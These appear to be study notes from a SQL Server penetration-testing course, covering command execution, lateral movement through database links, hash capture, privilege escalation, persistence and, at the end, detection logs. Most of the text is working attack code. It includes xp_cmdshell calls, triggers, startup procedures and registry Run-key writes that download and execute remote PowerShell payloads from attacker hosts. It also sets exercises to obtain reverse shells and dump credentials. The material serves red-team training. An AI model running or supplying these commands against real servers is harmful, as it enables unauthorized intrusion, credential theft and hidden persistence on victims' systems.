EXEC sp_add_jobstep @job_name = N'PSJob', @step_name =
N'test_powershell_name1', @subsystem = N'PowerShell', @command =
N'powershell.exe -e ', @retry_attempts = 1, @retry_interval = 5

EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';

--EXEC dbo.sp_delete_job @job_name = N'cmdjob'

List ALL Jobs:
SELECT
job.job_id, notify_level_email, name, enabled, description, step_name, command,
server, database_name
FROM
msdb.dbo.sysjobs job
INNET JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id

Source:
https://serverfault.com/a/14569

Using PowerUPSQL
- Execute Commands:
Invoke-SQLOSCMDAgentJob -Subsystem PowerShell -Username sa -Password
Password1 -Instance win2016srv -Command "powershell -e " -Verbose
-SubSystem CmdExec

or:
-Subsystem VBScript

or:
-Subsystem Jscript

List all jobs:
Get-SQLAgentJob -Instance win2016srv -username sa -Password Pass@123 -Verbose

Hands-on number 5:
Achieve command execution on win2016srv using multiple methods.
Execute a PowerShell reverse shell of your choice on win2016srv.
Achieve command execution on win2016srv using agent jobs.

You may like to note the difference between privileges of agent jobs and other
command exec.

############################

Video 10 - OS Command Execution - External Scripts: - External Scripts - R and Python. R introduced in SQL Server 2016 and Python in SQL Server 2017 for big data analytics and machine learning.
- Runtime environments must be installed as prerequisite. Not on by default. Needs SQL Server service restart!
- needs sysadmin privileges to be enabled and executed
- Run with privileges of a dynamically created Windows user account (member of the SQLUserGroup).

Reference:
https://docs.microsoft.com/en-us/sql/advanced-analytics/tutorials/rtsql-using-r-code-in-transact-sql-quickstart/
https://www.slideshare.net/nullbind/beyong-xpcmdshell-owning-the-empire-through-sql-server/

Executing commands with R Script:
```
sp_configure 'external scrips enabled'
GO
EXEC sp_execute_external_script
@language = N'R',
@script = N'OutputDataSet
WITH RESULT SETS (([cmd_out] text));
GO
```

- we can change the system() function to anything we would like to query:
```
data.frame(system("cmd.exe /c whoami", intern=T))'
```

Reference:
https://pastebin.com/zBDnzELT

Grab Net-NTLM Hashes with R:
```
@script=N'.libPaths("\\\\testhost\foo\bar");library("0mgh4x")'
```

Using Shell instead of system:
```
@script=N'OutputDataSet
data.frame(shell("dir", intern=T))'
```

Reference:
https://pastebin.com/zBDnzELT

Executing commands with Python:
```
EXEC sp_execute_external_script
@language=N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(),"utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
```

Reference:
https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
https://www.slideshare.net/nullbind/beyond-xpcmdshell-owning-the-empire-through-sql-server

Using PowerUPSQL:
Invoke-SQLOSCmdR -Username sa -Password Password1 -Instance win2016srv -Command "powershell -e " -Verbose

Invoke-SQLOSCmdPython -Username sa -Password Password1 -Instance win2016srv -Command "powershell -e " -Verbose

##########
Mapping Trust:

Once we move to the OS layer by executing OS commands, it is possible to move laterally to spread our access. SQL Servers provide various possibilities for lateral movement:
- Shared service account - Domain User or Domain admin (OS layer). We have already touched above while discussing brute-force attacks.
- Database links - Move laterally in the database layer.

Mapping Trust - Domain User
As discusses earlier, SQL Server allows Domain user logins which, essentially, makes it a part of the domain trust!
Once access to a domain user is established, we can enumerate what privileges it has on SQL servers in the domain.
I have often observed domain users to have public (and sometimes sysadmin) privileges on some SQL Servers in the domain.
And if the domain user is a shared service account, i.e. used by multiple SQL Servers as a service account, we have instant sysadmin access to all the SQL Servers using that account :)

We already enumerated SQL Servers in the domain. It can be checked if the current domain user has privileges on them:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

For alternate credentials:
runas /noprofile /netonly /user: powershell.exe

Note that if we have access to hashes or tickets of any user, it always pays to check if that user is sysadmin on any database in the domain.

A user with public (everyone) role can be used to enumerate domain accounts and groups in the forest and other trusted forests by fuzzing the values to SUSER_NAME function.

Get-SQLFuzzDomainAccount -Instance win2016srv.lethallab.local -StartdId 500 -EndId 2000 -Verbose

- we can do the same for a forest if we need to:
Get-SQLFuzzDomainAccount -Instance win2016srv -StartdId 500 -EndId 2000 -Verbose -Domain lethal.com

Hands-on Number 6:
- get a reverse shell on sqlsrvone with privileges of the service account
- check if that user has special privileges on any other machine or database in the domain.

If there's a domain user logged-in to an SQL Server or there is a service running with another domain user on an SQL Server where we have sysadmin privileges (and the service account has local admin rights), it is possible to dump credentials for that user and laterally move using those credentials.

Hands-on number 7:
- get a reverse shell on sqlsrvone with privileges of the service account or agent account.
- dump all the available credentials (hashes or ticket) and see if those credentials can be used for lateral movement at the OS layer od database layer.

Reference:
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

##########################

Video 11 - Abusing Trusts - Database Links:
- a database link allows an SQL Server to access external data sources like other SQL Servers and OLE DB data sources (Access, Excel, Oracle, etc.)
- in case of database links between SQL Servers, that is, linked SQL servers it is possible to execute stored procedures
- Database links work across SQL Server versions and even across forest trusts.

Reference:
https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html

Searching for Database Links:
- loof for links to remote servers (public privileges are enough)

select * from master..sysservers

Get-SQLServerLink -Instance win2016srv -verbose

Enumerating Database Links:
- openquery() function can be used to run queries on a linked database:
select * from openquery("win2016srv",'select * from master..sysservers')

- openquery queries can be chained to access links within links (nested links):
select * from openquery("win2016srv",'select * from openquery("win2016srv",''select * from master..sysservers'')')

PowerUPSQL saves us from managing these pesky quotes:
Get-SQLServerLinkCrawl -Instance win2016srv -Verbose

Executing Commands:
- on the target server, either xp_cmdshell should be already enabled; or
- if rpcout is enabled for all links (disabled by default), xp_cmdshell can be enabled using:
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')
AT "win2008srv"

- from the initial SQL server, OS commands can be executed using nested link queries:

select * from openquery("ops-mssql", 'select * from openquery("ops-file",''select * from openquery("dps-sqlsrvtwo",''''select @@version as version; exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')

select * from openquery("ops-mssql", 'select * from openquery("ops-file",''select * from openquery("dps-sqlsrvtwo",''''select @@version as version; exec master..xp_cmdshell "cmd /c powershell iex(New-Object Net.WebClient).DownloadString(''''''''http://192.168.2.2/Invoke-PowerShellTcpOnline.ps1'''''''')"'''')'')')

Note: you can use HFS HTTP File Server 2.3K to host your own quick web server!

Get-SQLServerLinkCrawl -Instance win2016srv -query "exec master..xp_cmdshell 'cmd /c calc.exe'" -verbose

Interesting Read:
Decrypting Database Link Server Passwords:
https://blog.netspi.com/decrypting-mssql-database-link-server-passwords/

Hands-on numbers 8:
Get a reverse shell on dps-sqlsrvtwo by abusing database links!

######################

Video 12 - Privilege Escalation - public to service account:

UNC Path Injection:
- a very well known method to capture Net-NTLM (also known as NTLM v1/v2) hashes
- stored procedures link xp_dirtree and xp_fileexist can be used to capture Net-NTLM hashes
- the captured hashes can be cracked using John-the-Ripper, Hashcat, etc.

PowerUPSQL automates this impressively (uses Inveigh - https://github.com/Kevin-Robertson/Inveigh - as a capture server):

Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.2.2

More in UNC Path Injection cheatsheet:
https://gist.github.com/nullbind/7dfca20a6409a4209b6arrf1b676c6ce

Rotten Potato:
Trick the "NT Authority\System" account into authenticating via NTLM to a TCP endpoint we control.
Man-in-the-middle his authentication attempt (NTLM relay) to locally negotiate a security token for the "NT Authority\SYSTEM" account.
Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts!

Taken from:
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

OS Admin to sysadmin:
There are well known ways of getting sysadmin privileges if we have local admin privileges at the operating system level.
Extracting service account credentials from LSA Secrets and/or memory, Token Impersonation for the SQL Service service, single user mode, etc are very well known methods.

##########################
Video 13 - Persistence:

During a pentest or Red Team operation, Persistence is a very important step!
SQL Server provides persistence opportunities with Startup stored procedures, Triggers and Registry keys.
SQL Server often runs as a privileged account (local or global) making it very useful for persistence. More so, if the target instance is running as a domain user which is a local administrator or some other machine(s), the persistence is more stealthy!

Startup Stored Procedures:
- stored procedures marked for automatic execution are executed every time SQL Server starts
- sysadmin privileges are required to mark a stored procedure for automatic execution
- such a stored procedure must be in the master database, cannot have input or output parameters and can be owned only by the 'sa' account
- it gets executed with sysadmin privileges when SQL Server 'service is restarted'!

Reference:
https://technet.microsoft.com/en-us/library/ms191129(v=sql.105).aspx

Create a stored procedure (assuming xp_cmdshell is already enabled):

```
USE master
GO

CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object
System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
```

Mark the stored procedure for automatic execution:

```
EXEX sp_procoption @ProcName = 'sp_autops'
, @OptionName = 'startup'
, @optionValue = 'on';
```

Now, whenever the SQL Service service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload.

The list stored procedures marked for automatic execution:

```
SELECT [name] FROM sysobjects WHERE type = 'P' AND
OBJECTPROPERTY(id,'ExecIsStartup') = 1;
```

Reference:
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Hands-on number 9:
Backdoor an SQL Server to add sysadmin where SQL Server service is running as a domain user which is a local admin on one or more boxes.

Persistence - Triggers:
A trigger is a special kind of stored procedure that automatically executes when an event occurs in the SQL Server.
There are three types of triggers:
- Data Definition Language (DDL) - Executes on Create, Alter and Drop statements and some system stored procedures
- Data Manipulation Language (DML) - Executes on Insert, Update and Delete statements.
- Logon Triggers - Executes on a user logon.
Both DML and DDL triggers execute under the context of the user that calls the trigger.

Reference:
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql

DDL Triggers:
Can be used if no custome database exists on the SQL Server.
Create a trigger (assuming xp_cmdshell is already enabled):

```
CREATE Trigger [persistence_ddl_1]
ON ALL SERVER -- or DATABASE
FOR DDL_LOGIN_EVENTS -- see the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object
System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
```

Reference:
https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
https://docs.microsoft.com/en-us/sql/relational-databases/triggers/implement-ddl-triggers
https://docs.microsoft.com/en-us/sql/relational-databases/triggers/ddl-event-groups

DML Triggers:
When using DML triggers and xp_cmdshell (or any other command execution), please keep in mind that when the trigger gets executed by a normal user, he/she must have privileges to do so.

Create a trigger (assuming xp_cmdshell is already enabled):

```
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
```

Note: in the above statement you are impersonating the SA account and are introducing a vulnerability. In a real pentest, this is not recommended!

```
USE testdb

CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp.cmdshell 'powershell -C "iex (new-object
SYSTEM.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
```

Reference:
https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
https:/docs.microsoft.com/en-us/sql/relational-databases/triggers/create-dml-triggers

Logon Trigger:
Executes after the authentication phase of logging finishes, but before the session is established. This makes a logon trigger ideal for triggering with a logon failure of a low-privilege user.

Create a trigger (assuming xp_cmdshell is already enabled):

```
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
```

```
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp.cmdshell 'powershell -C "iex (new-object
SYSTEM.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'

END;
```

Reference:
https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers

List triggers:
Note: -- is followed by a commend in SQL.

```
SELECT * FROM sys.server_triggers -- All triggers

USE testdb
SELECT * FROM sys.server_triggers -- Triggers for a database
```

```
Get-SQLTriggerDDl -Instance win2016srv -username sa -Password Password1 -
Verbose

Get-SQLTriggerDML -Instance win2016srv -username sa -Password Password1 -
Verbose
```

Persistence - Registry
SQL Server provides stored procedures to interact with Windows registry:

- xp_regwrite - Needs sysadmin
- xp_regread - Limited read for public role
- xp_regdeletekey - Needs sysadmin

Reference:
https://support.microsoft.com/en-us/help/887165/bug-you-may-receive-an-access-is-denied-error-message-when-a-query-cal

Using xp_regwrite:

```
EXEC xp_regwrite
@rootkey       = 'HKEY_LOCAL_MACHINE',
@key           = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name       = 'SQLServerUpdate',
@type          = 'Reg_SZ',
@value           = 'powershell -w 1 -NoP -NoL iex(new-object
net.webclient).downloadString("http://webserver/evil.ps1")'

Get-SQLPersistRegDebugger -Instance win2016srv -username sa -Password
password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -
Verbose
```

Get-SQLPersistRegRun -Instance win2016srv -username sa -Password password1 -Name SQLUpdate -Command 'powershell -w 1 -NoP -NoL iex(new-object net.webclient).downloadstring("http://webserver/evil.ps1")' -Verbose

Using xp_regread (as sysadmin):

DECLARE @Reg_value VARCHAR(1000)

EXECUTE xp_regread
'Hkey_LOCAL_MACHINE',
'SOFTWARE\Microsoft\WindowsNT\CurrentVersion\CurrentVersion',
'ProductName',
@Reg_Value OUTPUT

SELECT @Reg_Value

Using xp_regread (as sysadmin) with PowerUPSQL. The below command reads auto logon password from registry:

Get-SQLRecoverPwAutologon -Instance win2016srv -username sa -password Passowrd1 -Verbose

Reference:
https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

Hands-on number 10:
Change the value of xp_regwrite allowed paths to allow a non-admin user write to the registry run key to persist on a system!

##########################_

Video 14 - Defenses:

Audit SQL Servers to check the flow of links, trusts, privileges and credentials.
Ensure that Service Accounts for databases are not high privilege domain account.
Make sure that known dangerous Stored Procedures are disabled.
Use SQL Server Audit to log interesting server level and database level events.
Log and Audit! Monitor the logs!

Logs:
- SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %Program-Files\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG
- Logs can be viewer in Management Studio by browsing to Management - SQL Server Logs.
- Logs are also written to Windows Application logs with MSSQLSERVER as source.

Brute-Force Logs:
- general best practices like having a good password policy and not using same username across databases.

- SQL server logon failure are logged by default in the Windows application log with source MSSQLSERVER.
- look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."

Interesting Logs:
Event ID 5084 also reports for setting TRUSTWORTHY to on/off.
Event ID 17135 logs launch of startup stored procedures.
Event ID 33090 for successful and 17750 for failed loading of DLLs.

Configuration Change Logs:
Recall that all command execution techniques we used needed to use the sp_configure.
Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure).
This can be used as a very good indicator of command Execution!
Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.

##########

Video 15 - Conclusion:

For lab access/extension, please contact:
contact [at] pentesteracademy.com

########## THE END ##########